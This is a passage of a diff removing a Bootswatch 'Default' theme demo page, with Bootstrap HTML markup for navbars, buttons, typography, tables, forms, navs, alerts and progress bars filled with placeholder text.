-                <li><a href="../cyborg/">Cyborg</a></li>
-                <li><a href="../darkly/">Darkly</a></li>
-                <li><a href="../flatly/">Flatly</a></li>
-                <li><a href="../journal/">Journal</a></li>
-                <li><a href="../lumen/">Lumen</a></li>
-                <li><a href="../paper/">Paper</a></li>
-                <li><a href="../readable/">Readable</a></li>
-                <li><a href="../sandstone/">Sandstone</a></li>
-                <li><a href="../simplex/">Simplex</a></li>
-                <li><a href="../slate/">Slate</a></li>
-                <li><a href="../solar/">Solar</a></li>
-                <li><a href="../spacelab/">Spacelab</a></li>
-                <li><a href="../superhero/">Superhero</a></li>
-                <li><a href="../united/">United</a></li>
-                <li><a href="../yeti/">Yeti</a></li>
-              </ul>
-            </li>
-            <li>
-              <a href="../help/">Help</a>
-            </li>
-            <li>
-              <a href="http://news.bootswatch.com">Blog</a>
-            </li>
-            <li class="dropdown">
-              <a class="dropdown-toggle" data-toggle="dropdown" href="#" id="download">Default <span class="caret"></span></a>
-              <ul class="dropdown-menu" aria-labelledby="download">
-                <li><a href="http://jsfiddle.net/bootswatch/mLascy62/">Open Sandbox</a></li>
-                <li class="divider"></li>
-                <li><a href="../bower_components/bootstrap/dist/css/bootstrap.min.css">bootstrap.min.css</a></li>
-                <li><a href="../bower_components/bootstrap/dist/css/bootstrap.css">bootstrap.css</a></li>
-                <li class="divider"></li>
-                <li><a href="../bower_components/bootstrap/less/variables.less">variables.less</a></li>
-                <li class="divider"></li>
-                <li><a href="../bower_components/bootstrap-sass-official/assets/stylesheets/bootstrap/_variables.scss">_variables.scss</a></li>
-              </ul>
-            </li>
-          </ul>
-
-          <ul class="nav navbar-nav navbar-right">
-            <li><a href="http://builtwithbootstrap.com/" target="_blank">Built With Bootstrap</a></li>
-            <li><a href="https://wrapbootstrap.com/?ref=bsw" target="_blank">WrapBootstrap</a></li>
-          </ul>
-
-        </div>
-      </div>
-    </div>
-
-
-    <div class="container">
-
-      <div class="page-header" id="banner">
-        <div class="row">
-          <div class="col-lg-8 col-md-7 col-sm-6">
-            <h1>Default</h1>
-            <p class="lead">Basic Bootstrap</p>
-          </div>
-          <div class="col-lg-4 col-md-5 col-sm-6">
-          </div>
-        </div>
-        <div class="row">
-          <div class="col-lg-3 col-md-3 col-sm-4">
-            <div class="list-group table-of-contents">
-              <a class="list-group-item" href="#navbar">Navbar</a>
-              <a class="list-group-item" href="#buttons">Buttons</a>
-              <a class="list-group-item" href="#typography">Typography</a>
-              <a class="list-group-item" href="#tables">Tables</a>
-              <a class="list-group-item" href="#forms">Forms</a>
-              <a class="list-group-item" href="#navs">Navs</a>
-              <a class="list-group-item" href="#indicators">Indicators</a>
-              <a class="list-group-item" href="#progress-bars">Progress bars</a>
-              <a class="list-group-item" href="#containers">Containers</a>
-              <a class="list-group-item" href="#dialogs">Dialogs</a>
-            </div>
-          </div>
-        </div>
-      </div>
-
-      <!-- Navbar
-      ================================================== -->
-      <div class="bs-docs-section clearfix">
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="navbar">Navbar</h1>
-            </div>
-
-            <div class="bs-component">
-              <nav class="navbar navbar-default">
-                <div class="container-fluid">
-                  <div class="navbar-header">
-                    <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
-                      <span class="sr-only">Toggle navigation</span>
-                      <span class="icon-bar"></span>
-                      <span class="icon-bar"></span>
-                      <span class="icon-bar"></span>
-                    </button>
-                    <a class="navbar-brand" href="#">Brand</a>
-                  </div>
-
-                  <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
-                    <ul class="nav navbar-nav">
-                      <li class="active"><a href="#">Link <span class="sr-only">(current)</span></a></li>
-                      <li><a href="#">Link</a></li>
-                      <li class="dropdown">
-                        <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false">Dropdown <span class="caret"></span></a>
-                        <ul class="dropdown-menu" role="menu">
-                          <li><a href="#">Action</a></li>
-                          <li><a href="#">Another action</a></li>
-                          <li><a href="#">Something else here</a></li>
-                          <li class="divider"></li>
-                          <li><a href="#">Separated link</a></li>
-                          <li class="divider"></li>
-                          <li><a href="#">One more separated link</a></li>
-                        </ul>
-                      </li>
-                    </ul>
-                    <form class="navbar-form navbar-left" role="search">
-                      <div class="form-group">
-                        <input type="text" class="form-control" placeholder="Search">
-                      </div>
-                      <button type="submit" class="btn btn-default">Submit</button>
-                    </form>
-                    <ul class="nav navbar-nav navbar-right">
-                      <li><a href="#">Link</a></li>
-                    </ul>
-                  </div>
-                </div>
-              </nav>
-            </div>
-
-            <div class="bs-component">
-              <nav class="navbar navbar-inverse">
-                <div class="container-fluid">
-                  <div class="navbar-header">
-                    <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-2">
-                      <span class="sr-only">Toggle navigation</span>
-                      <span class="icon-bar"></span>
-                      <span class="icon-bar"></span>
-                      <span class="icon-bar"></span>
-                    </button>
-                    <a class="navbar-brand" href="#">Brand</a>
-                  </div>
-
-                  <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-2">
-                    <ul class="nav navbar-nav">
-                      <li class="active"><a href="#">Link <span class="sr-only">(current)</span></a></li>
-                      <li><a href="#">Link</a></li>
-                      <li class="dropdown">
-                        <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false">Dropdown <span class="caret"></span></a>
-                        <ul class="dropdown-menu" role="menu">
-                          <li><a href="#">Action</a></li>
-                          <li><a href="#">Another action</a></li>
-                          <li><a href="#">Something else here</a></li>
-                          <li class="divider"></li>
-                          <li><a href="#">Separated link</a></li>
-                          <li class="divider"></li>
-                          <li><a href="#">One more separated link</a></li>
-                        </ul>
-                      </li>
-                    </ul>
-                    <form class="navbar-form navbar-left" role="search">
-                      <div class="form-group">
-                        <input type="text" class="form-control" placeholder="Search">
-                      </div>
-                      <button type="submit" class="btn btn-default">Submit</button>
-                    </form>
-                    <ul class="nav navbar-nav navbar-right">
-                      <li><a href="#">Link</a></li>
-                    </ul>
-                  </div>
-                </div>
-              </nav>
-            </div><!-- /example -->
-
-          </div>
-        </div>
-      </div>
-
-
-      <!-- Buttons
-      ================================================== -->
-      <div class="bs-docs-section">
-        <div class="page-header">
-          <div class="row">
-            <div class="col-lg-12">
-              <h1 id="buttons">Buttons</h1>
-            </div>
-          </div>
-        </div>
-
-        <div class="row">
-          <div class="col-lg-7">
-
-            <p class="bs-component">
-              <a href="#" class="btn btn-default">Default</a>
-              <a href="#" class="btn btn-primary">Primary</a>
-              <a href="#" class="btn btn-success">Success</a>
-              <a href="#" class="btn btn-info">Info</a>
-              <a href="#" class="btn btn-warning">Warning</a>
-              <a href="#" class="btn btn-danger">Danger</a>
-              <a href="#" class="btn btn-link">Link</a>
-            </p>
-
-            <p class="bs-component">
-              <a href="#" class="btn btn-default disabled">Default</a>
-              <a href="#" class="btn btn-primary disabled">Primary</a>
-              <a href="#" class="btn btn-success disabled">Success</a>
-              <a href="#" class="btn btn-info disabled">Info</a>
-              <a href="#" class="btn btn-warning disabled">Warning</a>
-              <a href="#" class="btn btn-danger disabled">Danger</a>
-              <a href="#" class="btn btn-link disabled">Link</a>
-            </p>
-
-
-            <div style="margin-bottom: 15px;">
-              <div class="btn-toolbar bs-component" style="margin: 0;">
-                <div class="btn-group">
-                  <a href="#" class="btn btn-default">Default</a>
-                  <a href="#" class="btn btn-default dropdown-toggle" data-toggle="dropdown"><span class="caret"></span></a>
-                  <ul class="dropdown-menu">
-                    <li><a href="#">Action</a></li>
-                    <li><a href="#">Another action</a></li>
-                    <li><a href="#">Something else here</a></li>
-                    <li class="divider"></li>
-                    <li><a href="#">Separated link</a></li>
-                  </ul>
-                </div>
-
-                <div class="btn-group">
-                  <a href="#" class="btn btn-primary">Primary</a>
-                  <a href="#" class="btn btn-primary dropdown-toggle" data-toggle="dropdown"><span class="caret"></span></a>
-                  <ul class="dropdown-menu">
-                    <li><a href="#">Action</a></li>
-                    <li><a href="#">Another action</a></li>
-                    <li><a href="#">Something else here</a></li>
-                    <li class="divider"></li>
-                    <li><a href="#">Separated link</a></li>
-                  </ul>
-                </div>
-
-                <div class="btn-group">
-                  <a href="#" class="btn btn-success">Success</a>
-                  <a href="#" class="btn btn-success dropdown-toggle" data-toggle="dropdown"><span class="caret"></span></a>
-                  <ul class="dropdown-menu">
-                    <li><a href="#">Action</a></li>
-                    <li><a href="#">Another action</a></li>
-                    <li><a href="#">Something else here</a></li>
-                    <li class="divider"></li>
-                    <li><a href="#">Separated link</a></li>
-                  </ul>
-                </div>
-
-                <div class="btn-group">
-                  <a href="#" class="btn btn-info">Info</a>
-                  <a href="#" class="btn btn-info dropdown-toggle" data-toggle="dropdown"><span class="caret"></span></a>
-                  <ul class="dropdown-menu">
-                    <li><a href="#">Action</a></li>
-                    <li><a href="#">Another action</a></li>
-                    <li><a href="#">Something else here</a></li>
-                    <li class="divider"></li>
-                    <li><a href="#">Separated link</a></li>
-                  </ul>
-                </div>
-
-                <div class="btn-group">
-                  <a href="#" class="btn btn-warning">Warning</a>
-                  <a href="#" class="btn btn-warning dropdown-toggle" data-toggle="dropdown"><span class="caret"></span></a>
-                  <ul class="dropdown-menu">
-                    <li><a href="#">Action</a></li>
-                    <li><a href="#">Another action</a></li>
-                    <li><a href="#">Something else here</a></li>
-                    <li class="divider"></li>
-                    <li><a href="#">Separated link</a></li>
-                  </ul>
-                </div>
-              </div>
-            </div>
-
-            <p class="bs-component">
-              <a href="#" class="btn btn-primary btn-lg">Large button</a>
-              <a href="#" class="btn btn-primary">Default button</a>
-              <a href="#" class="btn btn-primary btn-sm">Small button</a>
-              <a href="#" class="btn btn-primary btn-xs">Mini button</a>
-            </p>
-
-          </div>
-          <div class="col-lg-5">
-
-            <p class="bs-component">
-              <a href="#" class="btn btn-default btn-lg btn-block">Block level button</a>
-            </p>
-
-
-            <div class="bs-component" style="margin-bottom: 15px;">
-              <div class="btn-group btn-group-justified">
-                <a href="#" class="btn btn-default">Left</a>
-                <a href="#" class="btn btn-default">Middle</a>
-                <a href="#" class="btn btn-default">Right</a>
-              </div>
-            </div>
-
-            <div class="bs-component" style="margin-bottom: 15px;">
-              <div class="btn-toolbar">
-                <div class="btn-group">
-                  <a href="#" class="btn btn-default">1</a>
-                  <a href="#" class="btn btn-default">2</a>
-                  <a href="#" class="btn btn-default">3</a>
-                  <a href="#" class="btn btn-default">4</a>
-                </div>
-
-                <div class="btn-group">
-                  <a href="#" class="btn btn-default">5</a>
-                  <a href="#" class="btn btn-default">6</a>
-                  <a href="#" class="btn btn-default">7</a>
-                </div>
-
-                <div class="btn-group">
-                  <a href="#" class="btn btn-default">8</a>
-                  <div class="btn-group">
-                    <a href="#" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
-                      Dropdown
-                      <span class="caret"></span>
-                    </a>
-                    <ul class="dropdown-menu">
-                      <li><a href="#">Dropdown link</a></li>
-                      <li><a href="#">Dropdown link</a></li>
-                      <li><a href="#">Dropdown link</a></li>
-                     </ul>
-                  </div>
-                </div>
-              </div>
-            </div>
-
-            <div class="bs-component">
-              <div class="btn-group-vertical">
-                  <a href="#" class="btn btn-default">Button</a>
-                  <a href="#" class="btn btn-default">Button</a>
-                  <a href="#" class="btn btn-default">Button</a>
-                  <a href="#" class="btn btn-default">Button</a>
-              </div>
-            </div>
-
-          </div>
-        </div>
-      </div>
-
-      <!-- Typography
-      ================================================== -->
-      <div class="bs-docs-section">
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="typography">Typography</h1>
-            </div>
-          </div>
-        </div>
-
-        <!-- Headings -->
-
-        <div class="row">
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <h1>Heading 1</h1>
-              <h2>Heading 2</h2>
-              <h3>Heading 3</h3>
-              <h4>Heading 4</h4>
-              <h5>Heading 5</h5>
-              <h6>Heading 6</h6>
-              <p class="lead">Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor.</p>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <h2>Example body text</h2>
-              <p>Nullam quis risus eget <a href="#">urna mollis ornare</a> vel eu leo. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nullam id dolor id nibh ultricies vehicula.</p>
-              <p><small>This line of text is meant to be treated as fine print.</small></p>
-              <p>The following snippet of text is <strong>rendered as bold text</strong>.</p>
-              <p>The following snippet of text is <em>rendered as italicized text</em>.</p>
-              <p>An abbreviation of the word attribute is <abbr title="attribute">attr</abbr>.</p>
-            </div>
-
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <h2>Emphasis classes</h2>
-              <p class="text-muted">Fusce dapibus, tellus ac cursus commodo, tortor mauris nibh.</p>
-              <p class="text-primary">Nullam id dolor id nibh ultricies vehicula ut id elit.</p>
-              <p class="text-warning">Etiam porta sem malesuada magna mollis euismod.</p>
-              <p class="text-danger">Donec ullamcorper nulla non metus auctor fringilla.</p>
-              <p class="text-success">Duis mollis, est non commodo luctus, nisi erat porttitor ligula.</p>
-              <p class="text-info">Maecenas sed diam eget risus varius blandit sit amet non magna.</p>
-            </div>
-
-          </div>
-        </div>
-
-        <!-- Blockquotes -->
-
-        <div class="row">
-          <div class="col-lg-12">
-            <h2 id="type-blockquotes">Blockquotes</h2>
-          </div>
-        </div>
-        <div class="row">
-          <div class="col-lg-6">
-            <div class="bs-component">
-              <blockquote>
-                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.</p>
-                <small>Someone famous in <cite title="Source Title">Source Title</cite></small>
-              </blockquote>
-            </div>
-          </div>
-          <div class="col-lg-6">
-            <div class="bs-component">
-              <blockquote class="blockquote-reverse">
-                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.</p>
-                <small>Someone famous in <cite title="Source Title">Source Title</cite></small>
-              </blockquote>
-            </div>
-          </div>
-        </div>
-      </div>
-
-      <!-- Tables
-      ================================================== -->
-      <div class="bs-docs-section">
-
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="tables">Tables</h1>
-            </div>
-
-            <div class="bs-component">
-              <table class="table table-striped table-hover ">
-                <thead>
-                  <tr>
-                    <th>#</th>
-                    <th>Column heading</th>
-                    <th>Column heading</th>
-                    <th>Column heading</th>
-                  </tr>
-                </thead>
-                <tbody>
-                  <tr>
-                    <td>1</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                  </tr>
-                  <tr>
-                    <td>2</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                  </tr>
-                  <tr class="info">
-                    <td>3</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                  </tr>
-                  <tr class="success">
-                    <td>4</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                  </tr>
-                  <tr class="danger">
-                    <td>5</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                  </tr>
-                  <tr class="warning">
-                    <td>6</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                  </tr>
-                  <tr class="active">
-                    <td>7</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                    <td>Column content</td>
-                  </tr>
-                </tbody>
-              </table> 
-            </div><!-- /example -->
-          </div>
-        </div>
-      </div>
-
-      <!-- Forms
-      ================================================== -->
-      <div class="bs-docs-section">
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="forms">Forms</h1>
-            </div>
-          </div>
-        </div>
-
-        <div class="row">
-          <div class="col-lg-6">
-            <div class="well bs-component">
-              <form class="form-horizontal">
-                <fieldset>
-                  <legend>Legend</legend>
-                  <div class="form-group">
-                    <label for="inputEmail" class="col-lg-2 control-label">Email</label>
-                    <div class="col-lg-10">
-                      <input type="text" class="form-control" id="inputEmail" placeholder="Email">
-                    </div>
-                  </div>
-                  <div class="form-group">
-                    <label for="inputPassword" class="col-lg-2 control-label">Password</label>
-                    <div class="col-lg-10">
-                      <input type="password" class="form-control" id="inputPassword" placeholder="Password">
-                      <div class="checkbox">
-                        <label>
-                          <input type="checkbox"> Checkbox
-                        </label>
-                      </div>
-                    </div>
-                  </div>
-                  <div class="form-group">
-                    <label for="textArea" class="col-lg-2 control-label">Textarea</label>
-                    <div class="col-lg-10">
-                      <textarea class="form-control" rows="3" id="textArea"></textarea>
-                      <span class="help-block">A longer block of help text that breaks onto a new line and may extend beyond one line.</span>
-                    </div>
-                  </div>
-                  <div class="form-group">
-                    <label class="col-lg-2 control-label">Radios</label>
-                    <div class="col-lg-10">
-                      <div class="radio">
-                        <label>
-                          <input type="radio" name="optionsRadios" id="optionsRadios1" value="option1" checked="">
-                          Option one is this
-                        </label>
-                      </div>
-                      <div class="radio">
-                        <label>
-                          <input type="radio" name="optionsRadios" id="optionsRadios2" value="option2">
-                          Option two can be something else
-                        </label>
-                      </div>
-                    </div>
-                  </div>
-                  <div class="form-group">
-                    <label for="select" class="col-lg-2 control-label">Selects</label>
-                    <div class="col-lg-10">
-                      <select class="form-control" id="select">
-                        <option>1</option>
-                        <option>2</option>
-                        <option>3</option>
-                        <option>4</option>
-                        <option>5</option>
-                      </select>
-                      <br>
-                      <select multiple="" class="form-control">
-                        <option>1</option>
-                        <option>2</option>
-                        <option>3</option>
-                        <option>4</option>
-                        <option>5</option>
-                      </select>
-                    </div>
-                  </div>
-                  <div class="form-group">
-                    <div class="col-lg-10 col-lg-offset-2">
-                      <button type="reset" class="btn btn-default">Cancel</button>
-                      <button type="submit" class="btn btn-primary">Submit</button>
-                    </div>
-                  </div>
-                </fieldset>
-              </form>
-            </div>
-          </div>
-          <div class="col-lg-4 col-lg-offset-1">
-
-              <form class="bs-component">
-                <div class="form-group">
-                  <label class="control-label" for="focusedInput">Focused input</label>
-                  <input class="form-control" id="focusedInput" type="text" value="This is focused...">
-                </div>
-
-                <div class="form-group">
-                  <label class="control-label" for="disabledInput">Disabled input</label>
-                  <input class="form-control" id="disabledInput" type="text" placeholder="Disabled input here..." disabled="">
-                </div>
-
-                <div class="form-group has-warning">
-                  <label class="control-label" for="inputWarning">Input warning</label>
-                  <input type="text" class="form-control" id="inputWarning">
-                </div>
-
-                <div class="form-group has-error">
-                  <label class="control-label" for="inputError">Input error</label>
-                  <input type="text" class="form-control" id="inputError">
-                </div>
-
-                <div class="form-group has-success">
-                  <label class="control-label" for="inputSuccess">Input success</label>
-                  <input type="text" class="form-control" id="inputSuccess">
-                </div>
-
-                <div class="form-group">
-                  <label class="control-label" for="inputLarge">Large input</label>
-                  <input class="form-control input-lg" type="text" id="inputLarge">
-                </div>
-
-                <div class="form-group">
-                  <label class="control-label" for="inputDefault">Default input</label>
-                  <input type="text" class="form-control" id="inputDefault">
-                </div>
-
-                <div class="form-group">
-                  <label class="control-label" for="inputSmall">Small input</label>
-                  <input class="form-control input-sm" type="text" id="inputSmall">
-                </div>
-
-                <div class="form-group">
-                  <label class="control-label">Input addons</label>
-                  <div class="input-group">
-                    <span class="input-group-addon">$</span>
-                    <input type="text" class="form-control">
-                    <span class="input-group-btn">
-                      <button class="btn btn-default" type="button">Button</button>
-                    </span>
-                  </div>
-                </div>
-              </form>
-
-          </div>
-        </div>
-      </div>
-
-      <!-- Navs
-      ================================================== -->
-      <div class="bs-docs-section">
-
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="navs">Navs</h1>
-            </div>
-          </div>
-        </div>
-
-        <div class="row">
-          <div class="col-lg-4">
-            <h2 id="nav-tabs">Tabs</h2>
-            <div class="bs-component">
-              <ul class="nav nav-tabs">
-                <li class="active"><a href="#home" data-toggle="tab">Home</a></li>
-                <li><a href="#profile" data-toggle="tab">Profile</a></li>
-                <li class="disabled"><a>Disabled</a></li>
-                <li class="dropdown">
-                  <a class="dropdown-toggle" data-toggle="dropdown" href="#">
-                    Dropdown <span class="caret"></span>
-                  </a>
-                  <ul class="dropdown-menu">
-                    <li><a href="#dropdown1" data-toggle="tab">Action</a></li>
-                    <li class="divider"></li>
-                    <li><a href="#dropdown2" data-toggle="tab">Another action</a></li>
-                  </ul>
-                </li>
-              </ul>
-              <div id="myTabContent" class="tab-content">
-                <div class="tab-pane fade active in" id="home">
-                  <p>Raw denim you probably haven't heard of them jean shorts Austin. Nesciunt tofu stumptown aliqua, retro synth master cleanse. Mustache cliche tempor, williamsburg carles vegan helvetica. Reprehenderit butcher retro keffiyeh dreamcatcher synth. Cosby sweater eu banh mi, qui irure terry richardson ex squid. Aliquip placeat salvia cillum iphone. Seitan aliquip quis cardigan american apparel, butcher voluptate nisi qui.</p>
-                </div>
-                <div class="tab-pane fade" id="profile">
-                  <p>Food truck fixie locavore, accusamus mcsweeney's marfa nulla single-origin coffee squid. Exercitation +1 labore velit, blog sartorial PBR leggings next level wes anderson artisan four loko farm-to-table craft beer twee. Qui photo booth letterpress, commodo enim craft beer mlkshk aliquip jean shorts ullamco ad vinyl cillum PBR. Homo nostrud organic, assumenda labore aesthetic magna delectus mollit.</p>
-                </div>
-                <div class="tab-pane fade" id="dropdown1">
-                  <p>Etsy mixtape wayfarers, ethical wes anderson tofu before they sold out mcsweeney's organic lomo retro fanny pack lo-fi farm-to-table readymade. Messenger bag gentrify pitchfork tattooed craft beer, iphone skateboard locavore carles etsy salvia banksy hoodie helvetica. DIY synth PBR banksy irony. Leggings gentrify squid 8-bit cred pitchfork.</p>
-                </div>
-                <div class="tab-pane fade" id="dropdown2">
-                  <p>Trust fund seitan letterpress, keytar raw denim keffiyeh etsy art party before they sold out master cleanse gluten-free squid scenester freegan cosby sweater. Fanny pack portland seitan DIY, art party locavore wolf cliche high life echo park Austin. Cred vinyl keffiyeh DIY salvia PBR, banh mi before they sold out farm-to-table VHS viral locavore cosby sweater.</p>
-                </div>
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <h2 id="nav-pills">Pills</h2>
-            <div class="bs-component">
-              <ul class="nav nav-pills">
-                <li class="active"><a href="#">Home</a></li>
-                <li><a href="#">Profile</a></li>
-                <li class="disabled"><a href="#">Disabled</a></li>
-                <li class="dropdown">
-                  <a class="dropdown-toggle" data-toggle="dropdown" href="#">
-                    Dropdown <span class="caret"></span>
-                  </a>
-                  <ul class="dropdown-menu">
-                    <li><a href="#">Action</a></li>
-                    <li><a href="#">Another action</a></li>
-                    <li><a href="#">Something else here</a></li>
-                    <li class="divider"></li>
-                    <li><a href="#">Separated link</a></li>
-                  </ul>
-                </li>
-              </ul>
-            </div>
-            <br>
-            <div class="bs-component">
-              <ul class="nav nav-pills nav-stacked">
-                <li class="active"><a href="#">Home</a></li>
-                <li><a href="#">Profile</a></li>
-                <li class="disabled"><a href="#">Disabled</a></li>
-                <li class="dropdown">
-                  <a class="dropdown-toggle" data-toggle="dropdown" href="#">
-                    Dropdown <span class="caret"></span>
-                  </a>
-                  <ul class="dropdown-menu">
-                    <li><a href="#">Action</a></li>
-                    <li><a href="#">Another action</a></li>
-                    <li><a href="#">Something else here</a></li>
-                    <li class="divider"></li>
-                    <li><a href="#">Separated link</a></li>
-                  </ul>
-                </li>
-              </ul>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <h2 id="nav-breadcrumbs">Breadcrumbs</h2>
-            <div class="bs-component">
-              <ul class="breadcrumb">
-                <li class="active">Home</li>
-              </ul>
-
-              <ul class="breadcrumb">
-                <li><a href="#">Home</a></li>
-                <li class="active">Library</li>
-              </ul>
-
-              <ul class="breadcrumb">
-                <li><a href="#">Home</a></li>
-                <li><a href="#">Library</a></li>
-                <li class="active">Data</li>
-              </ul>
-            </div>
-
-          </div>
-        </div>
-
-
-        <div class="row">
-          <div class="col-lg-4">
-            <h2 id="pagination">Pagination</h2>
-            <div class="bs-component">
-              <ul class="pagination">
-                <li class="disabled"><a href="#">&laquo;</a></li>
-                <li class="active"><a href="#">1</a></li>
-                <li><a href="#">2</a></li>
-                <li><a href="#">3</a></li>
-                <li><a href="#">4</a></li>
-                <li><a href="#">5</a></li>
-                <li><a href="#">&raquo;</a></li>
-              </ul>
-
-              <ul class="pagination pagination-lg">
-                <li class="disabled"><a href="#">&laquo;</a></li>
-                <li class="active"><a href="#">1</a></li>
-                <li><a href="#">2</a></li>
-                <li><a href="#">3</a></li>
-                <li><a href="#">&raquo;</a></li>
-              </ul>
-
-              <ul class="pagination pagination-sm">
-                <li class="disabled"><a href="#">&laquo;</a></li>
-                <li class="active"><a href="#">1</a></li>
-                <li><a href="#">2</a></li>
-                <li><a href="#">3</a></li>
-                <li><a href="#">4</a></li>
-                <li><a href="#">5</a></li>
-                <li><a href="#">&raquo;</a></li>
-              </ul>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <h2 id="pager">Pager</h2>
-            <div class="bs-component">
-              <ul class="pager">
-                <li><a href="#">Previous</a></li>
-                <li><a href="#">Next</a></li>
-              </ul>
-
-              <ul class="pager">
-                <li class="previous disabled"><a href="#">&larr; Older</a></li>
-                <li class="next"><a href="#">Newer &rarr;</a></li>
-              </ul>
-            </div>
-          </div>
-          <div class="col-lg-4">
-
-          </div>
-        </div>
-      </div>
-
-      <!-- Indicators
-      ================================================== -->
-      <div class="bs-docs-section">
-
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="indicators">Indicators</h1>
-            </div>
-          </div>
-        </div>
-
-        <div class="row">
-          <div class="col-lg-12">
-            <h2>Alerts</h2>
-            <div class="bs-component">
-              <div class="alert alert-dismissible alert-warning">
-                <button type="button" class="close" data-dismiss="alert">&times;</button>
-                <h4>Warning!</h4>
-                <p>Best check yo self, you're not looking too good. Nulla vitae elit libero, a pharetra augue. Praesent commodo cursus magna, <a href="#" class="alert-link">vel scelerisque nisl consectetur et</a>.</p>
-              </div>
-            </div>
-          </div>
-        </div>
-        <div class="row">
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="alert alert-dismissible alert-danger">
-                <button type="button" class="close" data-dismiss="alert">&times;</button>
-                <strong>Oh snap!</strong> <a href="#" class="alert-link">Change a few things up</a> and try submitting again.
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="alert alert-dismissible alert-success">
-                <button type="button" class="close" data-dismiss="alert">&times;</button>
-                <strong>Well done!</strong> You successfully read <a href="#" class="alert-link">this important alert message</a>.
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="alert alert-dismissible alert-info">
-                <button type="button" class="close" data-dismiss="alert">&times;</button>
-                <strong>Heads up!</strong> This <a href="#" class="alert-link">alert needs your attention</a>, but it's not super important.
-              </div>
-            </div>
-          </div>
-        </div>
-        <div class="row">
-          <div class="col-lg-4">
-            <h2>Labels</h2>
-            <div class="bs-component" style="margin-bottom: 40px;">
-              <span class="label label-default">Default</span>
-              <span class="label label-primary">Primary</span>
-              <span class="label label-success">Success</span>
-              <span class="label label-warning">Warning</span>
-              <span class="label label-danger">Danger</span>
-              <span class="label label-info">Info</span>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <h2>Badges</h2>
-            <div class="bs-component">
-              <ul class="nav nav-pills">
-                <li class="active"><a href="#">Home <span class="badge">42</span></a></li>
-                <li><a href="#">Profile <span class="badge"></span></a></li>
-                <li><a href="#">Messages <span class="badge">3</span></a></li>
-              </ul>
-            </div>
-          </div>
-        </div>
-      </div>
-
-      <!-- Progress bars
-      ================================================== -->
-      <div class="bs-docs-section">
-
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="progress-bars">Progress bars</h1>
-            </div>
-
-            <h3 id="progress-basic">Basic</h3>
-            <div class="bs-component">
-              <div class="progress">
-                <div class="progress-bar" style="width: 60%;"></div>
-              </div>
-            </div>
-
-            <h3 id="progress-alternatives">Contextual alternatives</h3>
-            <div class="bs-component">
-              <div class="progress">
-                <div class="progress-bar progress-bar-info" style="width: 20%"></div>
-              </div>
-
-              <div class="progress">
-                <div class="progress-bar progress-bar-success" style="width: 40%"></div>
-              </div>
-
-              <div class="progress">
-                <div class="progress-bar progress-bar-warning" style="width: 60%"></div>
-              </div>
-
-              <div class="progress">
-                <div class="progress-bar progress-bar-danger" style="width: 80%"></div>
-              </div>
-            </div>
-
-            <h3 id="progress-striped">Striped</h3>
-            <div class="bs-component">
-              <div class="progress progress-striped">
-                <div class="progress-bar progress-bar-info" style="width: 20%"></div>
-              </div>
-
-              <div class="progress progress-striped">
-                <div class="progress-bar progress-bar-success" style="width: 40%"></div>
-              </div>
-
-              <div class="progress progress-striped">
-                <div class="progress-bar progress-bar-warning" style="width: 60%"></div>
-              </div>
-
-              <div class="progress progress-striped">
-                <div class="progress-bar progress-bar-danger" style="width: 80%"></div>
-              </div>
-            </div>
-
-            <h3 id="progress-animated">Animated</h3>
-            <div class="bs-component">
-              <div class="progress progress-striped active">
-                <div class="progress-bar" style="width: 45%"></div>
-              </div>
-            </div>
-
-            <h3 id="progress-stacked">Stacked</h3>
-            <div class="bs-component">
-              <div class="progress">
-                <div class="progress-bar progress-bar-success" style="width: 35%"></div>
-                <div class="progress-bar progress-bar-warning" style="width: 20%"></div>
-                <div class="progress-bar progress-bar-danger" style="width: 10%"></div>
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-
-      <!-- Containers
-      ================================================== -->
-      <div class="bs-docs-section">
-
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="containers">Containers</h1>
-            </div>
-            <div class="bs-component">
-              <div class="jumbotron">
-                <h1>Jumbotron</h1>
